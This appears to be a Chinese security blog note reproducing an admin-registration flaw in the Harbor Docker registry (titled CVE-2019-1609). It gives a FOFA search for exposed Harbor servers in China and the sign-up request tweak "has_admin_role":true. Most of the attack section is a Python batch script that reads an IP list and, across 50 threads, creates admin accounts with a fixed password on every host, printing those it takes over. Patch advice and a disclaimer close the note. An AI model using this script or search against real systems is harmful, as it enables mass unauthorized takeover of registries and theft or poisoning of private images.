Harbor任意管理員註冊漏洞復現||CVE-2019-1609
- 2020 年 3 月 6 日
- 筆記
0x01 前言
Harbor是一個用於存儲和分發Docker鏡像的企業級Registry服務器,通過添加一些企業必需的功能特性,例如安全、標識和管理等,擴展了開源Docker Distribution。作為一個企業級私有Registry服務器,Harbor提供了更好的性能和安全。提升用戶使用Registry構建和運行環境傳輸鏡像的效率。Harbor支持安裝在多個Registry節點的鏡像資源複製,鏡像全部保存在私有Registry中, 確保數據和知識產權在公司內部網絡中管控。另外,Harbor也提供了高級的安全特性,諸如用戶管理,訪問控制和活動審計等。
0x02 漏洞簡介及危害
因註冊模塊對參數校驗不嚴格,可導致任意管理員註冊。

Harbor 1.7.6之前版本和Harbor 1.8.3之前版本中的core/api/user.go文件存在安全漏洞。若開放註冊功能,攻擊者可利用該漏洞創建admin賬戶。註冊功能默認開放。攻擊者可以以管理員身份下載私有項目並審計;可以刪除或污染所有鏡像。
目前PoC已公開,建議受影響的客戶儘快升級。
0x03 漏洞復現
使用fofa語法搜索
title="Harbor" && country=CN

找到註冊頁面

點擊註冊抓包,改包,在最後數據包加上:
"has_admin_role":true

修改成功,成功添加賬號密碼。並登陸成功!

0x04 批量腳本
腳本來源於T9sec team
import requests import json import csv from concurrent.futures import ThreadPoolExecutor def exp(url): url = url + '/api/users' headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/json', } payload = { "username": "test1", "email": "[email protected]", "realname": "test1", "password": "Aa123456", "comment": "test1", "has_admin_role": True } payload = json.dumps(payload) try: requests.packages.urllib3.disable_warnings() r = requests.post(url, headers=headers, data=payload, timeout=2, verify=False) if r.status_code == 201: print(url) except Exception as e: pass if __name__ == '__main__': data = open('ip.txt') # 批量IP reader = csv.reader(data) # 50是線程 with ThreadPoolExecutor(50) as pool: for row in reader: if 'http' not in row[0]: url = 'http://' + row[0] else: url = row[0] pool.submit(exp, url)
0x05 修復建議
升級到1.7.6及以上版本或者1.8.3及以上版本
臨時緩解方案:
關閉允許自行註冊功能(Allow Self-Registration)
0x06 免責聲明
本文中提到的漏洞利用Poc和腳本僅供研究學習使用,請遵守《網絡安全法》等相關法律法規。